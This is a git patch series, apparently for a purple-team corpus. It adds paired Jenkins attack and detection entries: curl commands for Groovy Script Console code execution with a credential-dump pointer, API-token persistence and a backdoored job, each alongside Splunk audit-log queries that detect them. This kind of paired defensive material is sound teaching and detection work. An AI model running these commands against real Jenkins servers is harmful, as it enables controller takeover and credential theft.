From 42c1cbfa310a358533c874647a3792837540322b Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 2 Jul 2026 06:29:19 +0000 Subject: [PATCH 1/2] feat(entries): add Jenkins CI/CD platform (3 companion-only pairs) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The self-hosted counterpart to the GitHub/GitLab SaaS rounds, detected via the Jenkins Audit Trail plugin log (product: jenkins, keyword/URI matches). Three companion-only red↔blue pairs: - jenkins-script-console ↔ jenkins-script-console-audit: Groovy Script Console RCE on the controller + in-memory credential dump; detect /script / /scriptText (T1059). - jenkins-api-token ↔ jenkins-api-token-audit: mint a user API token for durable non-interactive access; detect generateNewToken (T1098). - jenkins-job-backdoor ↔ jenkins-job-backdoor-audit: create/reconfigure a job to run attacker code on the controller + agents; detect /createItem / /configSubmit (T1072). Red side is curl to the Jenkins HTTP API; blue side is Audit Trail plugin SPL. Corpus is now 53 paired concepts + 1 unpaired recon entry. Co-Authored-By: Claude Claude-Session: https://claude.ai/code/session_011spYcGfeP4a3RNQQVDrGtW --- CHANGELOG.md | 13 +++++++++- README.md | 9 ++++--- entries/blue/jenkins-api-token-audit.md | 25 +++++++++++++++++++ entries/blue/jenkins-job-backdoor-audit.md | 25 +++++++++++++++++++ entries/blue/jenkins-script-console-audit.md | 26 ++++++++++++++++++++ entries/red/jenkins-api-token.md | 26 ++++++++++++++++++++ entries/red/jenkins-job-backdoor.md | 25 +++++++++++++++++++ entries/red/jenkins-script-console.md | 25 +++++++++++++++++++ 8 files changed, 170 insertions(+), 4 deletions(-) create mode 100644 entries/blue/jenkins-api-token-audit.md create mode 100644 entries/blue/jenkins-job-backdoor-audit.md create mode 100644 entries/blue/jenkins-script-console-audit.md create mode 100644 entries/red/jenkins-api-token.md create mode 100644 entries/red/jenkins-job-backdoor.md create mode 100644 entries/red/jenkins-script-console.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 46c691d..13f8059 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,17 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. ### Added +- **Jenkins CI/CD** platform (3 companion-only red↔blue pairs) — the self-hosted + counterpart to the GitHub/GitLab SaaS rounds, detected via the Jenkins Audit Trail + plugin log (`product: jenkins`, keyword/URI matches): + - `jenkins-script-console` ↔ `jenkins-script-console-audit` — Groovy Script Console + RCE + in-memory credential dump; detect `/script` / `/scriptText` (T1059). + - `jenkins-api-token` ↔ `jenkins-api-token-audit` — mint a user API token for durable + non-interactive access; detect `generateNewToken` (T1098). + - `jenkins-job-backdoor` ↔ `jenkins-job-backdoor-audit` — create/reconfigure a job to + run attacker code on the controller + agents; detect `/createItem` / `/configSubmit` + (T1072). + - **Terraform Cloud / IaC** platform (3 companion-only red↔blue pairs) — detections are Terraform Cloud audit-trail SPL (`product: terraform`, nested `resource.type` / `resource.action`): @@ -77,7 +88,7 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. - `gh-deploy-key-backdoor` ↔ `gh-cred-audit` — writable deploy key / fine-grained PAT for durable access; detect `repo.create_deploy_key` / `personal_access_token.access_granted` (T1098). -- Corpus is now 50 paired concepts + 1 unpaired recon entry. +- Corpus is now 53 paired concepts + 1 unpaired recon entry. ## [v1.4.0] - 2026-06-30 diff --git a/README.md b/README.md index 7081eac..b810981 100644 --- a/README.md +++ b/README.md @@ -84,11 +84,11 @@ No mainstream tool ships attacks paired with the telemetry they trip. ## Corpus -50 paired concepts + 1 unpaired recon entry (SMB enum), spanning Credential +53 paired concepts + 1 unpaired recon entry (SMB enum), spanning Credential Access, Privilege Escalation, Lateral Movement, Persistence, Execution, Defense Evasion, and Discovery — on-prem AD, a multi-cloud slice (Entra/M365, AWS, GCP), -Kubernetes, Okta, GitHub Actions + GitLab CI/CD, the Harbor container registry, -HashiCorp Vault, and Terraform Cloud: +Kubernetes, Okta, GitHub Actions + GitLab + Jenkins CI/CD, the Harbor container +registry, HashiCorp Vault, and Terraform Cloud: | Attack (red) | Detection (blue) | ATT&CK | | --------------------------------- | ----------------------------------------------------- | --------- | @@ -142,6 +142,9 @@ HashiCorp Vault, and Terraform Cloud: | Rogue agent pool (Terraform) | audit `agent_pool` `create` _(IaC)_ | T1543 | | Org/team token backdoor (Terraform) | audit `authentication_token` `create` _(IaC)_ | T1098 | | Variable injection (Terraform) | audit `variable` `create`/`update` _(IaC)_ | T1072 | +| Script Console RCE (Jenkins) | audit `/script`/`/scriptText` request _(CI)_ | T1059 | +| User API token backdoor (Jenkins) | audit `generateNewToken` request _(CI)_ | T1098 | +| Job/pipeline backdoor (Jenkins) | audit `/createItem`/`/configSubmit` request _(CI)_ | T1072 | Growth is mechanical now that the drift gate exists: author the red+blue entry pair, mark the matching flat blocks, then `gen-views.sh`. For **on-prem** pairs the diff --git a/entries/blue/jenkins-api-token-audit.md b/entries/blue/jenkins-api-token-audit.md new file mode 100644 index 0000000..6eb575d --- /dev/null +++ b/entries/blue/jenkins-api-token-audit.md @@ -0,0 +1,25 @@ +--- +id: jenkins-api-token-audit +title: Detect API token creation (Jenkins audit log) +detection: jenkins-audit-log +event_ids: [] +attack: + tactic: TA0003 + techniques: [T1098] +source: Jenkins persistence (user API token) +pair: jenkins-api-token +--- + +A request to `ApiTokenProperty/generateNewToken` is the invariant. API tokens are minted +rarely, so one generated by an unexpected actor — or against a privileged/service account, +or during an incident — is the persistence tell. Reconcile new tokens against known CI +integrations, prefer short-lived tokens, and alert on generation for accounts that don't +normally hold API tokens. + +Jenkins Audit Trail plugin telemetry, companion-only — `PURPLE-TEAM.md` is on-prem +Windows. + +```spl +index=jenkins sourcetype=jenkins:audit "generateNewToken" +| table _time, user, uri +``` diff --git a/entries/blue/jenkins-job-backdoor-audit.md b/entries/blue/jenkins-job-backdoor-audit.md new file mode 100644 index 0000000..d627904 --- /dev/null +++ b/entries/blue/jenkins-job-backdoor-audit.md @@ -0,0 +1,25 @@ +--- +id: jenkins-job-backdoor-audit +title: Detect job create/reconfigure (Jenkins audit log) +detection: jenkins-audit-log +event_ids: [] +attack: + tactic: TA0002 + techniques: [T1072] +source: Jenkins abuse (malicious job / pipeline) +pair: jenkins-job-backdoor +--- + +`/createItem` (new job) and `job//configSubmit` (reconfigure) are the invariants. +Job changes are routine in active shops, so the signal is one by an unexpected actor, on +a sensitive/privileged job, outside config-as-code (JCasC/pipeline-in-SCM), or immediately +followed by a build. Prefer pipelines defined in version-controlled `Jenkinsfile`s so +config drift is reviewable, and alert on UI-side job edits that bypass that path. + +Jenkins Audit Trail plugin telemetry, companion-only — `PURPLE-TEAM.md` is on-prem +Windows. + +```spl +index=jenkins sourcetype=jenkins:audit ("/createItem" OR "/configSubmit") +| table _time, user, uri +``` diff --git a/entries/blue/jenkins-script-console-audit.md b/entries/blue/jenkins-script-console-audit.md new file mode 100644 index 0000000..42fb235 --- /dev/null +++ b/entries/blue/jenkins-script-console-audit.md @@ -0,0 +1,26 @@ +--- +id: jenkins-script-console-audit +title: Detect Script Console use (Jenkins audit log) +detection: jenkins-audit-log +event_ids: [] +attack: + tactic: TA0002 + techniques: [T1059] +source: Jenkins abuse (Groovy Script Console) +pair: jenkins-script-console +--- + +A request to `/script` or `/scriptText` is the invariant. The Script Console is +admin-only and rarely used legitimately (mostly break-glass), so *any* hit — especially +outside a change window, from a service account, or right before a credential-store read +— is high-signal for controller RCE / credential theft. Alert in real time, scope +`RunScripts`/`Administer` tightly, and pair with process-exec telemetry on the controller +host. + +Jenkins Audit Trail plugin telemetry, companion-only — `PURPLE-TEAM.md` is on-prem +Windows. + +```spl +index=jenkins sourcetype=jenkins:audit ("/scriptText" OR "/script") +| table _time, user, uri, node +``` diff --git a/entries/red/jenkins-api-token.md b/entries/red/jenkins-api-token.md new file mode 100644 index 0000000..69b123f --- /dev/null +++ b/entries/red/jenkins-api-token.md @@ -0,0 +1,26 @@ +--- +id: jenkins-api-token +title: Jenkins user API token (durable non-interactive access) +section: Jenkins / CI/CD +phase: Persistence +attack: + tactic: TA0003 + techniques: [T1098] +platform: [jenkins] +source: Jenkins persistence (user API token) +pair: jenkins-api-token-audit +--- + +Mint an **API token** for a user (your own, or a higher-privileged one you've +compromised): a long-lived, non-interactive credential that drives the Jenkins REST API +and CLI, keeps working after the account's password/session is reset, and blends in among +CI automation. Generating one hits +`.../descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken`, which the +Audit Trail plugin records. (CI controller — no slots.) + +```sh +# mint an API token for durable API + CLI access +curl -s -u : -X POST \ + "https:///user//descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken" \ + --data "newTokenName=ci-cache" +``` diff --git a/entries/red/jenkins-job-backdoor.md b/entries/red/jenkins-job-backdoor.md new file mode 100644 index 0000000..5495aa9 --- /dev/null +++ b/entries/red/jenkins-job-backdoor.md @@ -0,0 +1,25 @@ +--- +id: jenkins-job-backdoor +title: Jenkins job/pipeline backdoor (run code on controller + agents) +section: Jenkins / CI/CD +phase: Execution +attack: + tactic: TA0002 + techniques: [T1072] +platform: [jenkins] +source: Jenkins abuse (malicious job / pipeline) +pair: jenkins-job-backdoor-audit +--- + +Jenkins is a deployment tool — abuse it to run code across the estate. Create a job (or +reconfigure one) whose build step runs your payload, then let it execute on the +controller or fan out to build **agents** (harvesting their credentials and reaching the +networks they can). A cron/SCM trigger makes it recurring. Creating a job hits +`/createItem`; reconfiguring one hits `job//configSubmit` — both logged by the Audit +Trail plugin. (CI controller — no slots.) + +```sh +# create a job whose build step runs attacker code (config.xml carries the payload) +curl -s -u : -H "Content-Type: application/xml" --data-binary @config.xml \ + "https:///createItem?name=ci-cache" +``` diff --git a/entries/red/jenkins-script-console.md b/entries/red/jenkins-script-console.md new file mode 100644 index 0000000..b1c1430 --- /dev/null +++ b/entries/red/jenkins-script-console.md @@ -0,0 +1,25 @@ +--- +id: jenkins-script-console +title: Jenkins Script Console RCE (controller code exec + cred dump) +section: Jenkins / CI/CD +phase: Execution +attack: + tactic: TA0002 + techniques: [T1059] +platform: [jenkins] +source: Jenkins abuse (Groovy Script Console) +pair: jenkins-script-console-audit +--- + +The iconic Jenkins move: with **Overall/Administer** (or `RunScripts`), POST Groovy to +the controller's Script Console and get instant code execution *as the Jenkins process* — +run OS commands, and decrypt every stored credential in memory +(`com.cloudbees.plugins.credentials.SystemCredentialsProvider`) in one request. `/script` +is the form, `/scriptText` the API. Both are logged by the Audit Trail plugin. (CI +controller — no on-host target slot.) + +```sh +# run Groovy on the controller (RCE; swap in the credentials-dump one-liner to loot creds) +curl -s -u : --data-urlencode 'script=println "id".execute().text' \ + "https:///scriptText" +``` From d801c064a4682c0c1c47521eb8dbac14cf50911f Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 2 Jul 2026 06:39:36 +0000 Subject: [PATCH 2/2] docs(entries): scope Jenkins job/token detections per Copilot review - job-backdoor: bare `/configSubmit` also matches the GLOBAL system-config form, so scope the reconfigure match to the job path (`/job//configSubmit`) in the SPL and prose; add the leading slash for accuracy. - api-token: scope the match to `ApiTokenProperty/generateNewToken` (the invariant path) instead of the bare `generateNewToken` substring. - README platform list: reword to "CI/CD (GitHub Actions, GitLab, Jenkins)" so the "CI/CD" label isn't ambiguously attached to Jenkins alone; scope the job-row path. Co-Authored-By: Claude Claude-Session: https://claude.ai/code/session_011spYcGfeP4a3RNQQVDrGtW --- CHANGELOG.md | 2 +- README.md | 4 ++-- entries/blue/jenkins-api-token-audit.md | 2 +- entries/blue/jenkins-job-backdoor-audit.md | 4 ++-- entries/red/jenkins-job-backdoor.md | 2 +- 5 files changed, 7 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 13f8059..5564d24 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,7 +30,7 @@ GitHub Release; `sync-fanout.yml` then opens the Kali sync PR. - `jenkins-api-token` ↔ `jenkins-api-token-audit` — mint a user API token for durable non-interactive access; detect `generateNewToken` (T1098). - `jenkins-job-backdoor` ↔ `jenkins-job-backdoor-audit` — create/reconfigure a job to - run attacker code on the controller + agents; detect `/createItem` / `/configSubmit` + run attacker code on the controller + agents; detect `/createItem` / `/job//configSubmit` (T1072). - **Terraform Cloud / IaC** platform (3 companion-only red↔blue pairs) — detections diff --git a/README.md b/README.md index b810981..34232e8 100644 --- a/README.md +++ b/README.md @@ -87,7 +87,7 @@ No mainstream tool ships attacks paired with the telemetry they trip. 53 paired concepts + 1 unpaired recon entry (SMB enum), spanning Credential Access, Privilege Escalation, Lateral Movement, Persistence, Execution, Defense Evasion, and Discovery — on-prem AD, a multi-cloud slice (Entra/M365, AWS, GCP), -Kubernetes, Okta, GitHub Actions + GitLab + Jenkins CI/CD, the Harbor container +Kubernetes, Okta, CI/CD (GitHub Actions, GitLab, Jenkins), the Harbor container registry, HashiCorp Vault, and Terraform Cloud: | Attack (red) | Detection (blue) | ATT&CK | @@ -144,7 +144,7 @@ registry, HashiCorp Vault, and Terraform Cloud: | Variable injection (Terraform) | audit `variable` `create`/`update` _(IaC)_ | T1072 | | Script Console RCE (Jenkins) | audit `/script`/`/scriptText` request _(CI)_ | T1059 | | User API token backdoor (Jenkins) | audit `generateNewToken` request _(CI)_ | T1098 | -| Job/pipeline backdoor (Jenkins) | audit `/createItem`/`/configSubmit` request _(CI)_ | T1072 | +| Job/pipeline backdoor (Jenkins) | audit `/createItem`/`/job//configSubmit` request _(CI)_ | T1072 | Growth is mechanical now that the drift gate exists: author the red+blue entry pair, mark the matching flat blocks, then `gen-views.sh`. For **on-prem** pairs the diff --git a/entries/blue/jenkins-api-token-audit.md b/entries/blue/jenkins-api-token-audit.md index 6eb575d..68ef9ab 100644 --- a/entries/blue/jenkins-api-token-audit.md +++ b/entries/blue/jenkins-api-token-audit.md @@ -20,6 +20,6 @@ Jenkins Audit Trail plugin telemetry, companion-only — `PURPLE-TEAM.md` is on- Windows. ```spl -index=jenkins sourcetype=jenkins:audit "generateNewToken" +index=jenkins sourcetype=jenkins:audit "ApiTokenProperty/generateNewToken" | table _time, user, uri ``` diff --git a/entries/blue/jenkins-job-backdoor-audit.md b/entries/blue/jenkins-job-backdoor-audit.md index d627904..27312fe 100644 --- a/entries/blue/jenkins-job-backdoor-audit.md +++ b/entries/blue/jenkins-job-backdoor-audit.md @@ -10,7 +10,7 @@ source: Jenkins abuse (malicious job / pipeline) pair: jenkins-job-backdoor --- -`/createItem` (new job) and `job//configSubmit` (reconfigure) are the invariants. +`/createItem` (new job) and `/job//configSubmit` (reconfigure) are the invariants. Job changes are routine in active shops, so the signal is one by an unexpected actor, on a sensitive/privileged job, outside config-as-code (JCasC/pipeline-in-SCM), or immediately followed by a build. Prefer pipelines defined in version-controlled `Jenkinsfile`s so @@ -20,6 +20,6 @@ Jenkins Audit Trail plugin telemetry, companion-only — `PURPLE-TEAM.md` is on- Windows. ```spl -index=jenkins sourcetype=jenkins:audit ("/createItem" OR "/configSubmit") +index=jenkins sourcetype=jenkins:audit ("/createItem" OR uri="*/job/*/configSubmit") | table _time, user, uri ``` diff --git a/entries/red/jenkins-job-backdoor.md b/entries/red/jenkins-job-backdoor.md index 5495aa9..9815ec7 100644 --- a/entries/red/jenkins-job-backdoor.md +++ b/entries/red/jenkins-job-backdoor.md @@ -15,7 +15,7 @@ Jenkins is a deployment tool — abuse it to run code across the estate. Create reconfigure one) whose build step runs your payload, then let it execute on the controller or fan out to build **agents** (harvesting their credentials and reaching the networks they can). A cron/SCM trigger makes it recurring. Creating a job hits -`/createItem`; reconfiguring one hits `job//configSubmit` — both logged by the Audit +`/createItem`; reconfiguring one hits `/job//configSubmit` — both logged by the Audit Trail plugin. (CI controller — no slots.) ```sh